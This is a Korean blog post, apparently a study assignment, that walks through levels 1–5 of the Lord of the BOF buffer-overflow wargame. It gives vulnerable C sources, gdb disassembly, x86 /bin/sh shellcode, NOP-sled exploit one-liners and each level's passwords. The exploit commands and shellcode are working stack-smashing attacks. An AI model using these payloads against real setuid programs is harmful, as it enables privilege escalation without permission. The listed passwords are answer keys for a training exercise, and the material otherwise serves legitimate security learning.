The Load of Bof (LOB)
level 0 : 접속
VMware를 이용하여 접속한 후 id: gate /password: gate로 로그인한다.
/sbin/ifconfig를 입력해 ip확인한다. -inet addr 뒤에 나오는 걸 확인해야 한다.
ctrl+alt를 눌러 vmware에서 마우스를 벗어나게 할 수 있다.
putty를 이용해 접속한다. - connection type은 Telnet으로 한다.
level 1 : simple bof
간단하지 않아...
다시 id: gate /password: gate로 로그인한다.
0xff를 다르게 바꾸는 버그를 해결하기 위해 bash2를 반드시 입력하고 시작하자
그리고 ls -l을 입력하면 어떤 파일과 폴더가 있는지 확인할 수 있다.
아주 놀랍게도 다른 유저의 setuid가 걸린 파일은 디버깅이 안되서 tmp에 gremlin을 복사한 후 진행해야 한다.
(처음 보이는 파일은 권한문제로 gdb로 실행이 안되기 때문에 파일을 하나 만든다.
주의사항: 원래 있던 파일명과 글자수를 같게 하는것이 좋음)
좋다. 이제 gremlin.c라는 친구가 뭐하는 놈인지 알아보기 위해 cat gremlin.c를 입력한다.
/*
The Lord of the BOF : The Fellowship of the BOF
- gremlin
- simple BOF
*/
int main(int argc, char *argv[])
{
char buffer[256];
if(argc < 2){
printf("argv error\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
}
256바이트의 buffer 배열 공간을 선언하고 ,argv[1]값을 strcpy함수를 이용하여 buffer에 복사하는 코드이다.
strcpy함수는 복사할 길이를 제한하지 않고 복사하므로 BOF 취약점이 존재한다. 여길 공격할 것이다.
이제 gdb를 이용하여 gremlin을 뜯어볼 것이다.
gdb -q /tmp/gremlim을 입력하면 gdb에 접속한다.
set disassembly-flavor intel 명령어를 이용해 어셈블리 문법을 intel아키텍쳐로 바꿔준다.
disas main를 입력하면 main의 어셈블리 코드를 볼 수 있는데 다음과 같다.
Dump of assembler code for function main:
0x8048430 : push %ebp // 함수 프롤로그
0x8048431 <main+1>: mov %ebp,%esp // 스택 프레임 생성 과정
0x8048433 <main+3>: sub %esp,0x100 // 0x100(10진법으로는 256)만큼 스택 공간 확보
0x8048439 <main+9>: cmp DWORD PTR [%ebp+8],1
0x804843d <main+13>: jg 0x8048456 <main+38>
0x804843f <main+15>: push 0x80484e0
0x8048444 <main+20>: call 0x8048350 <printf>
0x8048449 <main+25>: add %esp,4
0x804844c <main+28>: push 0
0x804844e <main+30>: call 0x8048360 <exit>
0x8048453 <main+35>: add %esp,4
0x8048456 <main+38>: mov %eax,DWORD PTR [%ebp+12] //argv[1]주소를 eax에 복사
0x8048459 <main+41>: add %eax,4
0x804845c <main+44>: mov %edx,DWORD PTR [%eax] //argv[1]의 값을 edx에 복사
0x804845e <main+46>: push %edx
0x804845f <main+47>: lea %eax,[%ebp-256]
0x8048465 <main+53>: push %eax // eax값 스택에 push
0x8048466 <main+54>: call 0x8048370 <strcpy> //strcpy(eax, edx) 실행
0x804846b <main+59>: add %esp,8
0x804846e <main+62>: lea %eax,[%ebp-256] //buffer[256]주소 eax에 복사
0x8048474 <main+68>: push %eax // eax값 스택에 push
0x8048475 <main+69>: push 0x80484ec
0x804847a <main+74>: call 0x8048350 <printf>// printf("%s\n") 실행
0x804847f <main+79>: add %esp,8 // 스택메모리 정리(push한 eax, 0x80484ec)
0x8048482 <main+82>: leave // 함수 에필로그 과정
0x8048483 <main+83>: ret //스택프레임 제거
0x8048484 <main+84>: nop
0x8048485 <main+85>: nop
0x8048486 <main+86>: nop
0x8048487 <main+87>: nop
0x8048488 <main+88>: nop
0x8048489 <main+89>: nop
0x804848a <main+90>: nop
0x804848b <main+91>: nop
0x804848c <main+92>: nop
0x804848d <main+93>: nop
0x804848e <main+94>: nop
0x804848f <main+95>: nop
End of assembler dump.
<문제를 해결하기 위해 알아야 할 개념들>
-셸
커맨드 라인의 명령어, 혹은 스크립트를 받아 서버에서 그에 맞는 기능을 실행시켜주는 프로그램
-프로그램의 흐름을 조작해 셸을 실행하는 이유
권한 상승이나 본래의 프로그램이 의도치 않은 행위를 하기 위해서
취약점이 존재하는 바이너리를 익스플로잇하여 셸 프로그램을 실행하면 해당 바이너리 권한의 셸을 획득하여 서버에 임의의 명령어를 실행할 수 있게 됨
-공격자가 /bin/sh 혹은 셸 바이너리를 실행하는 기계어 코드를 실행한다면, 셸에서 제공하는 여러 명령어들을 실행할 수 있게 됨
25바이트 코드 일반적인 쉘코드
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80
-NOP(No OPeration)
xchg eax, eax와 같이 프로그램의 실행에 영향을 주지 않는 명령어
프로그램이 실행 중에 NOP 명령어를 만나면 다음 명령어로 넘어가는 것과 같은 효과를 줌
주로 명령어의 주소 alignment를 맞출 때 사용됨
x86 아키텍처의 NOP 명령어 바이트코드는 0x90
NOP Sled, 혹은 NOP Slide
주로 셸코드의 주소를 정확히 알아내기 힘들 경우 큰 메모리를 확보하여 셸코드 주소의 오차 범위를 크게 만들 때 사용함
우리는 nop+셸코드(256+4바이트)+buffer의주소(4바이트)를 인자로 전달하여 buffer에 저장한 후에, RET의 주소를 buffer의 주소로 바꿔 줄 것이다.
0xbffff938 인데 넉넉하게 bffff950을 ret으로 설정
buffer [256] +SFP[4] + RET[4]
\x90(215byte)+쉘코드(25byte)+\x90(20byte)+ret[\x50\xf9\xff\xbf]
q를 치면 gdb에서 벗어날수 있다. 아래와같이 입력한다.
./gremlin `python -c "print '\x90'*215 + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80' + '\x90'*20 + '\x50\xf9\xff\xbf'"`
bash라고 뜨면 id 입력
my-pass를 입력하면 다음 단계로 가기 위한 password를 볼 수 있다.
Password : hello bof world
level 2: small buffer
level 1과 접근 방식은 동일하다. cat cobolt.c를 입력해보자
/*
The Lord of the BOF : The Fellowship of the BOF
- cobolt
- small buffer
*/
int main(int argc, char *argv[])
{
char buffer[16];
if(argc < 2){
printf("argv error\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
}
buffer크기가 16인것 빼고는 level 1과 동일하다.
Dump of assembler code for function main:
0x8048430 : push %ebp
0x8048431 <main+1>: mov %ebp,%esp
0x8048433 <main+3>: sub %esp,16
0x8048436 <main+6>: cmp DWORD PTR [%ebp+8],1
0x804843a <main+10>: jg 0x8048453 <main+35>
0x804843c <main+12>: push 0x80484d0
0x8048441 <main+17>: call 0x8048350 <printf>
0x8048446 <main+22>: add %esp,4
0x8048449 <main+25>: push 0
0x804844b <main+27>: call 0x8048360 <exit>
0x8048450 <main+32>: add %esp,4
0x8048453 <main+35>: mov %eax,DWORD PTR [%ebp+12]
0x8048456 <main+38>: add %eax,4
0x8048459 <main+41>: mov %edx,DWORD PTR [%eax]
0x804845b <main+43>: push %edx
0x804845c <main+44>: lea %eax,[%ebp-16]
0x804845f <main+47>: push %eax
0x8048460 <main+48>: call 0x8048370 <strcpy>
0x8048465 <main+53>: add %esp,8
0x8048468 <main+56>: lea %eax,[%ebp-16]
0x804846b <main+59>: push %eax
0x804846c <main+60>: push 0x80484dc
0x8048471 <main+65>: call 0x8048350 <printf>
0x8048476 <main+70>: add %esp,8
0x8048479 <main+73>: leave
0x804847a <main+74>: ret
0x804847b <main+75>: nop
0x804847c <main+76>: nop
0x804847d <main+77>: nop
0x804847e <main+78>: nop
0x804847f <main+79>: nop
End of assembler dump.
<문제를 해결하기 위해 알아야 할 개념들>
-환경변수
프로세스가 컴퓨터에서 동작하는 방식에 영향을 미치는 동적인 값들의 모임으로 쉘에서 정의되고 실행하는 동안 프로그램에 필요한 변수
공격자는 환경변수를 하나 만들고 이 환경변수에다가 쉘코드를 넣은 다음 취약한 프로그램에 환경변수의 address를 return address에 넣어줌으로써 쉘코드를 실행하게 할 수 있음
버퍼의 크기가 쉘코드가 들어갈 만큼 넉넉하지 못할 겨우에 매우 유용하게 사용됨
환경변수 임시 적용(export)
$ export 환경변수명=값
VI 에디터 -읽어보자
https://wiki.kldp.org/KoreanDoc/html/Vim_Guide-KLDP/Vim_Guide-KLDP.html
vi
VI 에디터 사용법 이 문서는 프리(free)입니다. 자유 소프트웨어 재단(FSF)에 의해 제출된 GNU GPL(일반 공개 라이선스) 제2판 또는 그 이후 버전이 정하는 바에 따라 자유롭게 재배포하고 수정할 수 있습니다. 이 문서는 유용하게 쓰이기를 바라는 마음으로 배포합니다. 그러나 아무런 보증도 하지 않습니다. 심지어 상업성이나 특정 목적에 적합하다는 보증도 하지 않습니다. 자세한 사항은 GNU GPL을 참조하십시오. 1. vi란? 리눅스나 유닉스를
wiki.kldp.org
문제 풀이 순서
1. 환경변수 등록
export SHELLCODE=`python -c 'print "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
export를 쳐보면 SHELLCODE가 생긴걸 볼 수 있다.
2. 주소를 알아야 하는데 이를 구하기 위해 프로그램을 짜야한다(흠...)
mkdir temp
cd temp
vi getenv.c
#include <stdio.h>
int main(){
printf("%p\n", getenv("SHELLCODE"));
return 0;
}
gcc -o getanv getenv.c
./getenv를 치면 주소가 나온다. - 중요한점은 나온 주소를 바로 써줘야한다는 거다...
0xbffffed4가 나왔다.
3. exploit
nop(20) + ret(4)
해결!!
Password : hacking exposed
level 3 : small buffer + stdin
/*
The Lord of the BOF : The Fellowship of the BOF
- goblin
- small buffer + stdin
*/
int main()
{
char buffer[16];
gets(buffer);
printf("%s\n", buffer);
}
gets함수로 바로 buffer에 저장된다.
level 2와 과정은 다 동일하나 하나의 다른 개념을 사용해야 한다.
표준입출력
Pipe(|)는 왼쪽의 표준 출력을 오른쪽의 표준 입력으로 전달
표준입출력을 지원하는 cat을 python문과 같이 사용하기위해 ';(세미콜론)'을 사용
python문을 cat을 통해 출력되는 표준출력을 한번에넘기기 위해 '()괄호'를 사용
주소는 0xbffffed8이므로
(python -c 'print "\x90"*20 + "\xd8\xfe\xff\xbf"';cat)|./goblin
해결!!
Password : hackers proof
level 4 : egghunter
/*
The Lord of the BOF : The Fellowship of the BOF
- orc
- egghunter
*/
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
main(int argc, char *argv[])
{
char buffer[40];
int i;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// egghunter
for(i=0; environ[i]; i++)
memset(environ[i], 0, strlen(environ[i])); -환경변수부분을 0으로 설정해서 환경변수 사용 x
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
//리턴 주소의 첫바이트는 0xbf여야함
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
}
buffer[40] + int[4] + ret[4]
주소가 이상할 때도 있는데 이럴땐 어떻게 해야 할 지 모르겠다...
어쨌든 해결!!
Password : cantata
level 5 : egghunter + bufferhunter
/*
The Lord of the BOF : The Fellowship of the BOF
- wolfman
- egghunter + buffer hunter
*/
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
main(int argc, char *argv[])
{
char buffer[40];
int i;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// egghunter
for(i=0; environ[i]; i++)
memset(environ[i], 0, strlen(environ[i]));
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// buffer hunter
memset(buffer, 0, 40);
}
buffer의 값을 0으로 초기화 시켜서 사용할 수 없게 되었지만 입력값의 크기 제한은 없다.
따라서 쉘코드를 리턴주소 다음에 넣으면 된다.
r `python -c"print '\xbf'*48 + '\x90'*50 + 'A'*24"`
A부분이 쉘코드가 들어갈 부분이다.
후에 x/200x $esp를 입력하면 아래와 같다.
./wolfman `python -c "print 'A'*44 + '\x50\xfc\xff\xbf' + '\x90'*50 + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80'"` 입력하면
해결!!
Password : love eyuna
계속 주소를 구하는데 어려움이 있었다. 뭔가 잘못 이해하고 있는 부분이 있나보다. bof 개념을 다시 한번 봐야할 것 같다.
<참조>
https://dreamhack.io/learn/2#16
'Hacking Study > 포너블 스터디(2020-1) 과제' 카테고리의 다른 글
포너블 5주차 과제 (0) | 2020.05.24 |
---|---|
포너블 4주차 과제 (0) | 2020.05.17 |
2주차 보충 - Format String Bug (0) | 2020.04.12 |
2주차 과제 (0) | 2020.04.10 |
포너블 스터디 1주차 과제 (0) | 2020.04.03 |